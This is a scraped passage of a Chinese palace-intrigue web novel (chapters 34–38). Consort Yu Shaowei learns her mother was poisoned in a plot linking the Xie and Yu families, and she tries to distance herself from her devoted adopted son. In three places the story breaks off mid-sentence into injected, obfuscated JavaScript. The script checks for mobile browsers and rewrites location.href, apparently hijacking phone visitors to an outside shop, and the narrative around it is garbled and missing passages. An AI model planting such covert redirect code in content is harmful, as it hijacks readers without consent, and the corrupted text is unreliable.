“有什么好说的,说了你就能效仿吗?我有好父兄,你有吗?我看你这辈子也就这样了,好好守着你的五皇子过吧,他以后要是孝顺,你老了日子也好过点。” 李嫔心不在焉的说完一段话,却不料于少微十分赞同的点点头:“你怎么知道我家五殿下很孝顺?他的孝名已经传到秋水居了吗?” “于少微!”李嫔大喊。 “嗯,在听。”于少微顿了顿,笑道:“李蓁蓁。” “你——”李嫔狠狠瞪了她一眼,重重跺了两脚,气哄哄的拂袖离去。 刚走到门口,就听到于少微在后面喊:“李嫔娘娘!” 李嫔心中一喜,迅速回头。 “你的腰牌落下了。”于少微笑眼盈盈的举着一块精致的木牌,慢悠悠地走到她身边。 “拿好了李嫔娘娘。”她不由分说的抓起李嫔的左手,将腰牌塞到其握紧的拳头内。 “娘娘慢走,少微就不送了。”她倚在门旁,朝人挥了挥手。 李嫔脸色几经变化,似是想破口大骂,但最终还是什么都没说,高傲的昂着脑袋,头也不回地走了。 总算将人打发走,于少微捏了捏后脖颈准备回内室午歇,路过看见小几上用了大半的糕点,她若有所思地摸了摸下巴,开口唤青阳:“这些厨房里面还有吗?”她指了指桌上的点心匣子。 青阳皱眉思索了会儿,道:“奴婢不是很确定,许是还剩下些的,但品种可能没那么多……” “无事,你现在去厨房看看,若能凑满一方点心匣子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979079|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就装好提到秋水宫去,若是凑不满就算了。” 青阳点点头,她见于少微朝内室走,又道:“婕妤是准备午歇了吗?奴婢帮您把头发拆了吧。” 于少微今日只梳了个单髻,发饰戴的也很简单,她摇了摇头,“不用,你先去忙吧,也和她们说一声,我这不用人伺候。” 青阳“嗯”了一声,朝屋内的宫人比了个手势,将人都带了出去。 屋子只剩下于少微一个人,她慢悠悠地坐在铜镜前,抬手一件件将钗环卸去,乌发如瀑,柔顺的披在肩上,她猫似的伸了个大大的懒腰,扑向自己的床榻。 优哉游哉的午睡时光,简直是上天的恩赐! 于少微心怀感激的放下床帐,随着陡然一昏的视线,她拉好被子,闭上双眼开始酝酿睡意。 没一会儿,门口却来嘈杂声。 于少微蹙紧眉头,她不是让人不要在外面守着吗?她翻了个身,将被子扯过头顶,继续酝酿。 “娘娘!”是槐序的声音。 于少微忍了忍,最终还是面无表情地拉开床帐,冷冰冰道:“何事?” 槐序见于少微脸色不太好,心里骂了两句淑妃,垂眼道:“淑妃娘娘方才派人来找您,说是请您去她宫里喝茶。” “你去回话,说我头痛,已经歇下了。”于少微又躺了回去。 “奴婢明白。”槐序轻轻离开。 过了一会儿,床帐外又有脚步声传来,于少微装作自己已经睡着,没有丝毫动作。 “娘娘?”槐序轻轻道,没有回应。 槐序苦着一张脸,还是继续将话说下去:“淑妃娘娘宫里的人说,淑妃一定要见到您。” 于少微腾的一下翻身坐起,苦大仇深的拉开床帐,咬着牙忍了又忍,才道:”她当真如此说?” 槐序点点头。 于少微重重锤了下床榻,生无可恋道:“走吧。” “奴婢帮您梳个发髻吧?”槐序走上前去拿于少微的外袍。 “不用。”于少微随手从妆台上捞了个簪子,三两下在后脑勺绾了个低髻,早去早回,没准还能继续睡。 于少微脚步匆匆地往怡春宫赶,前来引路的宫人都被她落在了后面,文淑妃早已备好茶水,一见到于少微就笑着招呼道:“快过来坐。” 反正她已经不客气地扰人清梦了,于少微也不跟她客气,直接一屁股坐下,张嘴就道:“娘娘找我是为何事?” 淑妃笑容一顿,又很快道:“前段时日忙,许久没与你聊天了,想与你叙叙。” 于少微蹙眉佯装头痛:“娘娘有所不知,臣妾用完午膳后头一直疼,身体也不爽朗,许是月信要来了。您让人来找时妾已经躺下好一会儿,但见您宫里的人一副很着急的模样,妾怕您有急事才强撑着起身,娘娘您若是想……想找人聊天的话,妾今日状态实在不好,怕扰了您的兴致。不如这样,少微改日亲自带着茶点上门向您谢罪可好?只是现下可能得先行告退了。” 于少微噼里啪啦说完一通,抬眼去瞅淑妃的脸色,开玩笑,硬是将她从被窝里拽出来,来了又说只是喝茶,鬼都不信,有事赶紧说,不说就放她回去,别搁这和她打太极。 文淑妃面上笑容已经消失,于少微见她还不讲话,催促道:“娘娘……” “唉。”文淑妃陡然叹了口气,从袖中拿出了一个信封,“今日找你的确是有事要与你说,这是这事实在……唉你自己看吧。”淑妃将手中信封递给于少微。 于少微伸手接过,正准备将其拆开,就听到文淑妃道:“你可知你母亲是因何去世的?” 35. 第三十五章 此话一出,周遭的空气都仿佛停止了流动,于少微这才发现,屋子里不知何时之剩下她们二人。 “娘娘这话是何意。”于少微停下了拆信的手,谨慎地打量淑妃的表情。 淑妃却是一副心有不忍的模样,她又叹了口气,眼睫下垂,嘴角抿出一抹苦涩的笑,一副悲天悯人的模样。 “你先看信吧。” 于少微却忽然有些咄咄逼人:“娘娘为何突然提到臣妾的母亲?据妾所知,母亲与娘娘并无干系。” “我不是为了你母亲,是为了你。”淑妃依旧用那种怜惜的目光看她。 于少微被她看的起了一身的鸡皮疙瘩,默不作声地错开眼,对着淑妃身侧的花瓶道:“娘娘是有东西要与臣妾说吧?” 淑妃眼神微动,没有吭声。 于少微叹了口气,自嘲道:“少微在这宫中无依无靠,势单力薄,娘娘不必与妾周旋那么多,有事就直接说吧。” 淑妃敛了笑容,用一种很新奇的眼神打量她:“你不看信了?” “不看了,娘娘直接与我说也是一样的。” 虽然话是这么说,于少微还是将信塞进了袖口,谢天谢地,文淑妃总算不用那副假惺惺的表情看她了。 “你和刚入宫时有些不同了。”淑妃重新换上审视的目光。 “少微从未变过,或许是妾今日才得入娘娘的眼。”于少微不躲不避,迎上淑妃的审视。 “听说你前段日子回了趟于家,你与你的家人关系缓和了?”淑妃在“家人”这两个字上重读。 于少微果然露出一副被恶心到的模样,嫌恶道:“娘娘快别说这话了。” 淑妃露出满意的笑容,又道:“我见你和于家来往不少,以为你们都捐弃前嫌了呢。” 于少微满脸不赞同,面上嫌恶更深:“娘娘竟然用了‘捐弃前嫌’这个词?妾与那家人什么情况难道娘娘还不清楚吗?从来只有他们对不起我,我可曾害过他们一分一毫?” 淑妃饶有兴致地看着她:“你与于家来往密切此事不假吧?” 于少微叹了口气:“妾与他们来往的原因娘娘还不清楚吗?在这后宫中,没有家族支撑的妃子是如何过活的?” 边说着,于少微又有些感激道:“幸得陛下垂怜,看在皇恩的面子上,少微也有了与那家人谈话的本钱,至于省亲——” 于少微狡黠一笑,“娘娘怕是不知,臣妾继母生的那一双弟妹的婚事,现在可都握在妾的手中。” 淑妃挑了挑眉,对此没做什么评价,只又道:“但是你大妹妹下月要成婚了吧,与谢家……谢家哪位公子来着?” “谢五郎。”于少微回道。 “噢”淑妃露出一副恍然的表情,“这位可是咱们皇贵妃同母的亲弟弟呢。” 于少微一愣,有些惊讶:“臣妾只知道这谢五郎是谢家之人,却不想竟是皇贵妃的亲弟弟!”言外之意震惊于纭竟然能结这么好一门亲事。 “没什么好惊讶的。”文淑妃摆摆手,“谢贵妃同胞的兄弟,上有一个哥哥,下有两个弟弟,堂兄弟姊妹更是不少,谢家百年世族,人丁兴旺,一个谢五郎不足为奇。” “到底是当今谢家家主的嫡子,以于家门第,还是有些高攀了。”于少微诚恳道。 “那可不见得。”淑妃意味深长。 于少微眸光一敛,装作毫无察觉的感叹道:“娘娘很是渊博,妾连名字都没能说出来,您就全晓得了。” 文淑妃似笑非笑地看着她,于少微被她盯得有些发毛,垂眸端起茶盏喝茶,淑妃轻笑一声,意有所指道:“谢家嘛,总是要知道多些的。” “那娘娘您——”于少微想要试探。 “婚期是在下个月吧?”文淑妃打断道。 “下月廿八,于家今日刚捎了信给妾。” “你去观礼吗?”文淑妃继续道。 于少微犹豫,斟酌几下,还是摇头道:“臣妾不喜那家人,因此并不打算去,再者,出宫需要陛下的首肯,陛下整日为国事操劳,妾不好为了这种小事去叨扰陛下。” 文淑妃却突然有些阴阳怪气道:“你方才不还说陛下垂怜你吗?” 于少微一噎,下意识露出一言难尽的表情,她赶紧端起茶杯掩饰,不让淑妃看见她的表情,内心却有小人在尖叫:不会吧,不会吧,淑妃这是在吃醋吗?老天爷她只是随口一说,淑妃也竟然也喜欢皇上吗?不是,后宫中这种睿智有心计的女人难道不应该是除了自己和孩子谁都不爱吗?观音菩萨呐,这皇上到底是多大魅力怎么那么多妃子喜欢他?不理解,她真的不理解! “娘娘不要揶揄臣妾了,您明知道妾方才说的都是托辞。”于少微低着头解释。 “你不必紧张。”文淑妃斜了她一眼,“我与陛下相识十几载,他身边的女人来来去去,从开始留到最后的始终只有皇后、皇贵妃、还有我。” 于少微摸不准她的态度,只得保持沉默。 “我说这话的意思是,有些东西都只是少年时的事情了,都只是骗人的罢了。”淑妃声音轻飘飘的,于少微看着她的表情却有些不寒而栗,她真的在说皇上吗?还是说,不只是皇上? “好了,不说这个了。”文淑妃打断了于少微的思考。 “下月的婚礼,我需要你去。”文淑妃的语气不容置疑。 “需要?”于少微警觉,“娘娘这是何意?” 文淑妃从花瓶中揪下一朵白玉兰,“我最近得了一个消息。” “娘娘您说。” “你可知十五年前,御史曾弹劾谢家借着赈灾的名义虚报了两万石的粮食,结果转手就将其卖给了边境的番邦部落。” 于少微瞪大双眼,满脸震惊。 “你可知后来如何了?”文淑妃满意于少微的态度。 “谢家如日中天,怕是……不了了之?”于少微思索道。 “对谢家是不了了之,但对那位御史却是灭顶之灾,此事发生后不足一年他就被谢家设计害死了”文淑妃语气冰冷。 “那御史与娘娘——” 文淑妃知道她想问什么,直接否认道:“我与那御史并无接触,他与我文家也不相熟,只是……你不为他不平吗?” 文淑妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987121|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味深长地看了她一眼。 于少微低头不语,良久才缓缓道:“光是听娘娘的讲述少微就已经觉得气愤与心痛,妾同娘娘一样,为那位御史感到不平,但是妾妇人之身,又久居深宫,为保存自己都需拼尽全力,又何谈为他人鸣不平呢?” 于少微面带哀伤。 “若我有一计呢?”文淑妃道。 于少微摇头:“娘娘,妾蜉蝣之躯,怎敢…说白了就是为了不相干的人去撼动谢家这棵苍天大树,少微比不得您,少微只想在宫中安稳得活下去。” “若与你相干呢?”文淑妃竟亲自为于少微斟茶。 于少微佯装感激的端起茶杯嘬了一口,听到文淑妃轻飘飘的抛出一个炸弹 “你母亲是被人害死的!” 空气忽然沉默,于少微表情愣怔,慢慢抬头,看着淑妃缓缓眨了眨眼,抓着茶盏的指节用力,指尖微微泛白,她气息有些不稳,但还是磕磕绊绊否认道:“娘娘您,您这话可不能乱说……我,妾,妾的母亲是病逝的,我从小都知道的,我,我看见了……” “你就没想过吗?你母亲去世时你六岁,而你继母生的最大的儿子现在已经十七了,只比你小四岁啊!”文淑妃语气凛冽。 “你真的没想过吗?你真的觉得没什么不对吗?你真的觉得你母亲是病逝吗?”文淑妃逼问道。 “我…娘她,娘,我不知道,我不知道……” 茶盏从于少微手中掉落,跌落在桌上,滚烫的茶水溅到了她的手背,迅速起了一片红,她却恍若无感,目光呆滞。 “你啊……”文淑妃替她扶起茶盏,握住她颤抖的指尖,语重心长道:“我知你从前在于家过得艰难,为了活下去逃避这些乃人之常情。但今时不同往日,你真的不愿意亲手为你的母亲报仇吗?你真的能够安心吗?” 于少微浑浑噩噩,嘴里跟着重复:“为我的母亲报仇……” “对!为你的母亲报仇!”淑妃语调陡然升高。 “不,不是!”于少微猛地抬头,将手挣脱出去,死死盯着淑妃的眼睛道:“为我母亲报仇与谢家有何关系?” 淑妃没有计较她的失态,只道:“我方才交予你的信中就有原因。” 于少微没有去拿信,依旧盯着文淑妃的脸。 文淑妃叹了口气,“你知道这件事为什么最后谢家能毫发无损吗?因为他们和于家做了手脚,将罪名安在了一户商人头上,那户商人最后全家处死。” “那户商人,姓许。” 于少微如遭雷劈,“许”是她母亲的姓。 “那我母亲她,她——” “你母亲被你继母设计撞破了谢于两家的诡计,被下毒杀害了。” 于少微瘫软在椅子上,整个人像刚从水里捞出来一样,面色白得发青,双手也微微抽搐。 文淑妃见她这副模样,掩面长叹一声,神情复杂道:“你先回去吧,回去缓缓,想好了再来回复我。” 于少微恍若未闻,软在椅子上缓了好一会儿,直到感觉自己呼吸渐渐平稳,手脚也慢慢恢复知觉,才失魂落魄地起身离开。 36. 第三十六章 回到晴雨阁,于少微屏退所有人,自己坐回榻上从袖中掏出信封查看,信上内容与文淑妃方才所言并无差别,只是多了一小段于父和现在的于夫人的往事。 于家虽在世家的行列,但算不上兴盛,且早早有了衰败之相,于父年轻时家族又突遇变故,为了填补窟窿被迫娶了于少微的母亲,可是,他与现在的于夫人青梅竹马,在此之前早已私定终身。即使后来他已经和于少微的母亲成婚,两人依旧暗通款曲,生下儿子后,便开始着手计划除掉原配妻子。再到后来,谢家私换粮草被人检举,于父为了搭上谢家这条大船,献计嫁祸许家,于夫人也趁机除掉了于少微的母亲。 这是别人的故事。 于少微冷静的想,她低头想将信纸叠好重新塞进信封,不行,薄薄的信纸从她手中飘落,她猛地按住右手手腕,试图阻止那剧烈的抽搐,身体重重地倒在软枕上,到底,这具身体自发的汹涌情绪是骗不了人的。 她方才在文淑妃处的剧烈反应,一半是为了欺骗淑妃假装,一半是这具身体的本能。 她先是故意不看信引文淑妃自己将事情说出来,中间又是不停地与她打机锋,直至最后那一出—— 她早在淑妃一定要求她去参加婚礼时就已经有了预料,同时也清楚,无论淑妃拿出什么理由,她恐怕都无法拒绝。一则,无论淑妃想干什么,她的目的一定与谢家有关,而于家又与谢家息息相关。无论出于何种目的,淑妃与庆帝想要的结果是一样的,不管她愿不愿意,她没有拒绝的余地。 二则,如果她真的拒绝,淑妃不会放过她,以淑妃的权势,她很难抵挡。 这是她必须要蹚的浑水,既然注定要做,那她也不能全然以被压制,被指使的姿态,为了保全自己,她必须抢夺主动权。 淑妃不知她与庆帝的约定,这是她的优势,她拿到了母亲的嫁妆,这是她的秘器。她在最后用失控的反应骗过了淑妃,为自己赢来布局的机会—— 她当然会去回复淑妃,她也当然会答应,只是在这之前,她还有别的事要做。 于少微将手放在自己的心口,感受其中剧烈的心跳,她重重的揉了揉那心口,将那处肌肤揉得泛红,仿佛那不是自己的身体。 我会去做的,我会替你报仇的,长发披散的女子捂住胸口低声道。 汹涌而来的情感过于强烈,即使现在渐渐褪去,她仍感觉四肢有些发麻。于少微放下床帐,用昏暗的光线削弱视觉的存在,四下寂静无声,她听到自己的心跳渐渐平稳。 心中汹涌的潮水退去,大脑却又显出几分奇异的感觉,丝丝缕缕的,像根细线般紧紧缠绕,这是?这是她自己的情绪,于少微肯定。 闭上双眼细细感受,一种无言的快感流遍她的身体,她感觉到四肢微微发热,心跳又重新加速,声如擂鼓,比方才更加剧烈,她猛地睁开眼,略微发红的双眼在昏暗的室内亮的吓人。 * “你亲自托人把这封信送到东市的四海楼。”于少微将伪装成订货凭据的信交给槐序,她要先弄清楚淑妃所言是不是真的。 “奴婢马上就去。”槐序看见于少微面色苍白的从淑妃处回来之后就把自己关在房间里,现在又一脸凝重的交给自己一封明显是刚写好的信,意识到事情的重要性,她妥帖的将信封放进袖袋,急匆匆地出门了。 刚走到小院,槐序就撞见正要进门的青阳,青阳见到她开心的打了个招呼,随口道:“槐序姐姐急匆匆地要去做什么呢?” 槐序笑道:“婕妤让我送信呢。” “给于家吗?” 槐序不欲多言,只点点头算是默认。 青阳撇了撇嘴,嘟囔道:“那家人讨厌死了。” 槐序不置可否,瞟见青阳手中拿着一片色彩艳丽的锦缎,好奇道:“你手上拿的什么?” 青阳伸手将手上的物什递到槐序面前,那是一份缎面的长方形物什。 “这是?”槐序面露疑惑。 青阳努努嘴:“婕妤让我去秋水居送点心,这是李嫔让我交给婕妤的。” 槐序点头:“那你快去吧。” “欸等等等等。”青阳抓住槐序的袖子,“婕妤醒了没有?要是还睡着我就再等等。” “婕妤醒了,你快去吧。”槐序笑着冲青阳点点头,“走了啊。” * 于少微坐在书案前,皱眉思索接下来应该做什么。东市的四海楼是许母的嫁妆,掌柜正是与许母一起长大的江嬷嬷,她这段时间考察过也接触过了,里面的主要人员都是许家的老人,知道她要回了许母的嫁妆都很高兴……总之目前来看大抵是可以信任的,她在那封信上留了记号,会有相应的人来负责。 她要问的只是许母死前的一些事情,江嬷嬷一直在其身边服侍,这些对她来说并不难,于少微估摸着明日应该就能收到回信。淑妃那边她大概可以拖个三天左右,她若是明日能确定母亲去世的真相,那她下一步应该如何? 于少微提笔在摊开的纸上写写画画。 “婕妤!”青阳拨开珠帘轻巧地行了个礼。 “什么事?”于少微看见她的笑脸,心情蓦地轻松了一些。 “奴婢已经将点心送过去了,李嫔看见时眼珠瞪老大了!”青阳边说着,边模仿李嫔的表情。 于少微被她逗笑,附和道:“真可惜没亲眼瞧见。” 青阳兴奋的点点头。 “欸你手上是什么东西?”于少微瞟到她手上颜色鲜艳的方片。 “哦哦哦对,这个,李嫔让我给您的。”青阳赶忙将东西递过去。 于少微接过这份张扬的物什,打开一看,原来是封请柬。李嫔升了位份,分到了自己的宫殿,过几日要迁居,邀请她去参加自己的乔迁宴。 于少微捏着这份请柬表情复杂,她现在的确没有之前那般厌恶李嫔了,但也不代表她能与她和睦共处,她依旧不喜欢她。 “婕妤这是什么啊?”青阳见于少微不讲话,大着胆子瞟了一眼。 于少微直接将请柬递给她,问道:“你认为我该去吗?” 青阳看清上面的内容,表情一下变得很是古怪,她有些一言难尽道:“李嫔娘娘她,她……” 于少微拿起笔:“你觉得我该去吗?” 青阳却道:“奴婢可以问您一个问题吗?” 于少微颔首:“你说。” 青阳纠结了一下,怯生生道:“您今日为何让奴婢去秋水居送点心?” 于少微愣了愣,明白过来:“你认为我在向她示好?” 青阳赶紧摇头,大声辩解:“怎么会!她那么讨厌!” 于少微赞同的点头:“对啊,她那么讨厌,所以——” “所以?”青阳懵懵地重复道。 “把这个交给她吧。”于少微手里多了一张绯红色的纸笺,上面只有寥寥数语,青阳快速捕捉到两个字:不去。 “去吧。”于少微笑眯眯地看着那张纸笺。 青阳点点头,刚准备退下,突然想起还有话没说,又倒回来道:“婕妤,禄子刚刚派人传话,文华殿那边今日提早一个时辰下学,您待会儿去接殿下吗?” 于少微下意识看向窗外,今天天气很好。 她有些沉默,番夷宴那晚后,接下来是连续三日的阴雨,她借口没有去文华殿,前两日晚膳也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有人!”于少微声音压得极低,脚步也往阴影里缩了缩。 亓轸却像没听见般,反而攥着她的手往自己身后一带,身体微微前倾,大半身影都挡着她。 “你松手!”于少微声音藏着几分慌乱。 “不要。”亓轸固执地摇头,手上力度又紧了几分。 侍卫夜巡的脚步声越来越近,于少微额间着急得渗出细汗。 “我让你松手!”她声音冷了下来。 这次没等亓轸回复,她直接朝旁边使了个眼色,一脚踹向他的膝弯,少年猝不及防往旁边一倒,禄子迅速向前将人接住,于少微乘机拉开距离,丢下一句“将殿下带回宫。”自己急匆匆地带着槐序和青阳离开了。 记忆回笼,于少微满脸苦大仇深,少年对她的依赖太过,这实在不是什么好事。话又说回来,今日究竟去不去呢?她又看向窗外。 杏花开得正好,簌簌雪白,阳光穿过花枝间的缝隙,透过窗格在书案上洒下斑驳的光影,花朵的影子在铺平的澄心纸上摇曳生姿。 去吧。 于少微拈起一片被吹进来的花瓣,去最后接他一回,与他好好讲清楚,本就不是什么大事,讲清楚就好了。 “等你从秋水居回来就和我一去文华殿吧。”于少微清清嗓子对着青阳道。 “欸好!”青阳精神陡然一振,“殿下看到您肯定很开心!奴婢现在就去秋水居!” 粉衫宫女步履欢快,于少微望着她的背影,面无表情地扯了扯嘴角,开心吗?她倒不见得。 37. 第三十七章 亓轸望着窗外,随着西移逐渐浅淡的阳光在他的书案上拉出一条长长的阴影,廊下空无一人,可他在期盼一个熟悉的身影。 今日是晴天 番夷宴那晚他确确实实是有些醉了,行事的确有些冲动,但他也并不觉得自己有什么问题,他是她唯一的家人,这句话是她与他说的,他记得,一直记得。 既然他们是对方唯一的家人,不就应该只有彼此吗?为什么要对他疏离?为什么阻止他的靠近?为什么要在意别人说什么?难道他们真如她所说,彼此隔得远远的,那些闲言碎语就会自动销声匿迹? 可在这宫墙之下,并不是你谨言慎行就可安稳度日的,越是躲避,越显刻意,最终只会适得其反。 这么简单的道理,她不明白吗?她真的不明白吗? 他们好几天没见面了,她躲避的太刻意,无言的对他宣誓态度。 他没有去找她,或者说,他没有让她发现自己的身影。亓轸强行按捺下内心的渴求,很不可思议,他竟然坚持到了今日……可也只能到今日了,密密麻麻的思念似疯长的藤蔓缠满、挤压着他的心脏,被这阳光一照,他感受到了窒息。 萎靡忧郁的少年暗暗下定决心,今日无论她来不来,他都要去见她。 于少微没有在以往的位置等人,她站在文华殿外的海棠树下,月白色的宫装衬得她身姿清挺,她懒散的看着地上的落花,指尖无意识地摩挲着袖口的刺绣,这是她最后一次来接亓轸下学了,当初信誓旦旦说要一直来此,现在却不得不食言了。 这是没办法的事,亓轸是个好孩子,他会理解的,于少微踢翻几颗小石子,强调般地告诉自己。 “母妃!” 于少微快速回头。 无人知道当亓轸顺着青阳的目光,望见树下之人时,心中掀起了怎样的风浪,像是搁浅的船只遇到了能带它脱离困境的信风,干瘪的船帆被风重新灌满,少年灰暗的眼底瞬间迸发光彩,快步上前,语气带着显而易见的喜悦:“您今日……” 亓轸一下卡了格,他不想说出任何会显示他们生分的词句,他贪婪的看着面前那张熟悉的脸庞,放任心底的思念攀援至他的咽喉 “今日天气很好。”他最终轻轻道。 “嗯,所以我来接你了。”于少微也舒了口气,眉眼含笑。 亓轸习惯性地想挨近她身侧,于少微却不着痕迹地后退半步,少年心底一黯,她还是…… 算了,亓轸告诉自己,这没什么,她说得也有道理。 “先走吧。”于少微提醒身边发愣的青年。 “嗯,好。”亓轸笑笑,表情如常。 宫道上的风比寻常处稍大,卷着不知名的花香,拂得人衣袖微扬。亓轸刻意放慢了脚步,与于少微并肩而行,身体微微的侧向她,保持着恰当却又难掩亲密的距离。 他没有提番夷宴的事,也没有提这几天的沉默,只一个劲的捡着文华殿的趣事说。 于少微默默听着平日寡言的少年一反常态的朝她讲述夫子出的联句有多刁钻,四皇子亓轩被罚抄书时的窘态,语气鲜活,眉眼间满是少年人的雀跃。 青春又鲜活的少年啊…… 于少微深刻的意识到,即使亓轸平常再怎么一副老成的模样,他到底是正值青春,风华正茂的少年啊。他的世界有太多可能,他以后将拥有的会比现在多得多,他不能因为黑暗中的细微烛火而放弃追逐灿烂日光,困住一颗生机勃勃的树会是她的罪过。 “亓轸,我今日来接你是,是有话要与你说。”于少微声音温和,却又带着几分疏离。 亓轸脚步一顿,敏锐察觉到她的刻意,眼底的亮泽暗了暗,却依旧垂下眼睑,摆出一副乖顺的模样:“您请讲,儿臣在听。” “你如今已经十五了,这个年纪,放在民间都可以娶妻了,也该学着独当一面了。” 于少微斟酌着措辞,目光落在远处飞檐,“往后文华殿下学,不必再劳烦宫人通传,我也不会再来接你。你身边有伴读有侍卫,足以护你周全,也该习惯没有旁人接送的日子。” 话音落,亓轸静默一瞬,随后猛地抬头,澄澈的眼眸里霎时凝起了水汽,像是被遗弃的幼兽:“母妃不是说我是您唯一的家人吗?” 于少微没料到他会提起这个,心尖顿时软了软,耐心解释道:“我依旧是你的家人,只是你大了,我不再接你下学而已。” “为什么?您先是躲了我三天,现在又告知以后不再接我下学,再下一步呢?再下一步是不是要向父皇请旨,不愿再做我母妃了呢?”亓轸情绪激动,眼眸的绿意被赤红浸染,凶狠的目光像是要吞噬什么。 于少微心脏一紧,赶紧安抚道:“我这般做,也是为了你好,免得宫中流言蜚语,说你我……” “说我们什么?”亓轸打断她,眼神直直望过来,带着几分骇人的冷意:“宫中都说母妃贤良,待我这性格乖戾的皇子如亲子,这难道不是好事?我自幼没了生母,之后又所遇非人,唯有您真心待我,若是连您也要推开我,我在这深宫之中,还有什么可依恃的?” 亓轸微微垂首,肩头轻轻颤动,语气带着压抑的哽咽:“是不是儿臣哪里做得不好,惹您生气了?若是,儿臣改了便是,要打要骂都虽您,只求您,求母妃您别不要我……” 于少微看着他这幅模样,心疼混着愧疚瞬间占据整颗心脏,她起初是存着拉拢和利用的心思才对他好的,他也的确帮她不少,不问缘由,全然奉献,朝夕相处之下,她也不知不觉付出了真心……孤独的灵魂漂泊到陌生的世界,能有一人相依持,这是她全然没料到的,她贪恋这从未有过的温暖,她对他又怜又愧,她是真心希望他能好的。 可情感是最不可控的东西啊,她的关心与照顾让他生出了不该有的依赖,再这样下去,于他们二人都没有好处。 “亓轸,你明晓事理,该懂避嫌二字。” 她重振精神,放缓语气循循善诱,“我是皇妃,你是皇子,男女有别,而你日渐长大,总与我太过亲近,难免惹人非议,于你的名声也有碍。” “名声?” 亓轸抬头,眼里多了几分狡黠,“儿臣的名声,难道不是您教出来的?旁人若敢妄议,便是质疑母您的教导,您若是与我疏远,儿臣恐怕才真是名声有损。再说,儿臣只是想多陪陪母妃,难道这也错了?” 他上前一步,语气带着几分试探:“儿臣记得您早先说过,我读书辛苦,要多体恤,您也经常讲,不能成日久坐,每日接我下学,也是您活动的好时机,您去岁还说夏日炎热、秋日萧瑟,冬日又太寒凉,与儿臣约定一起看春光——” 亓轸眼里含着破碎的憧憬 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一切都只是她的想象,她的猜测不是吗? 可是!可是…… 于少微张了张嘴,想再说些什么,却被亓轸抢了先,少年仍是方才那副眉目低垂的模样,只是腮边的泪水早已不见踪迹,仅仅在夕阳的注视下留有一条蜿蜒的泪痕 “您若是实在为难,那便依您的意思,只是……” 他看向两人映在宫墙上的剪影,天边的火烧云翻涌如浪,绚烂惊心,少年软了语气,乞求道:“只是若再有今日这般好的天气,您可不可以,偶尔,只要偶尔一次,来接我呢?” 他望着她,眼神恳切,于少微望向他带着小心翼翼包含期待与乞求的双眸,内心漫长的拉锯有了暂时的偏向,那份想要划清界限的决心渐渐瓦解。 她轻轻叹了口气,终究还是点了头 “罢了,走吧。” * 夜晚,两人用过晚膳后分别回到自己的卧房,又各自拆开书案上的信封,对着紧闭的槛窗阅读上面的内容。 看来淑妃所言不假,于少微将信放下,指尖敲着书案思索下一步的行动。 谢家、于家、淑妃、庆帝,母亲……目光游离回桌上的信纸,江嬷嬷……有了!于少微突出从椅子上站起,激动地在屋里走来走去,她知道了!她明日要去一趟未央宫! 永和居 亓轸皱眉读着信上的内容,于少微今日从淑妃处回来后就让人送信至四海楼?信中内容只是订购饰品? 不对,亓轸眉头蹙得更深,他察觉到此事有深深的违和感,于少微恐怕是有事情瞒着他。 会是什么呢?为什么不让他知道?亓轸心里涌现出强烈的不安,他迅速铺开一页信纸,提笔写了几行字,折好装进信封后,他又有些犹豫 真的要这么做吗?她本就不愿他插手这些,若是被她知晓恐怕会……但若是置之不理—— 不行,绝对不行! 光是猜测她有事瞒他就已足够让他心绪不宁,他无法接受被她排除在外,不能忍受错失有关她一丝一毫的消息,更遑论万一有危险? 亓轸眼神变得坚定,不再犹豫,他利落地推开窗户吹响暗哨,立马有暗卫从黑暗里跳了出来,他将信交给此人,低语道:“你按照信上的内容去查…… 38. 第三十八章 陈皇后刚撂下银筷,就听到宫人传报说于婕妤来了。皇后略一抬眉,眼底浮起几分意外,随即漾开笑意:“让她进来吧。” 又转头吩咐身边的掌事姑姑,“桌上的早膳先别撤,再去厨房添一碟枣箍荷叶饼来,要热乎的。” 话音刚落,就有宫女端着漱盂和清茶上前,请她漱口净口,皇后摆摆手,温声道:“先不用。” 刚吩咐完,于少微的身影就出现在殿门口,还没等宫人通报,她就轻巧地行了个礼,声音带着雀跃:“臣妾给娘娘请安!” 说着便熟门熟路地走到皇后身边的椅子上坐下,丝毫不见生分。 直到目光落在桌上未撤的餐具和食盒,于少微动作一顿,脸颊微微一红,有些不好意思道:“呀,臣妾来得不赶巧,竟打扰娘娘用早膳了。” “不妨事。”陈皇后拿起帕子擦了擦指尖,语气温和,“本宫今日起得稍晚,早膳也吃得迟了些,你来得正好。” 话音刚落,就有宫女提着食盒进来,将一碟垫着新鲜荷叶的圆饼摆上桌,于少微探头瞧了瞧,好奇道:“娘娘这是还没吃完呢?这饼看着倒新鲜。” “特意给你留的。”陈皇后朝她眨了眨眼,笑意温柔,“厨房新做的枣箍荷叶饼,你尝尝看合不合口。” 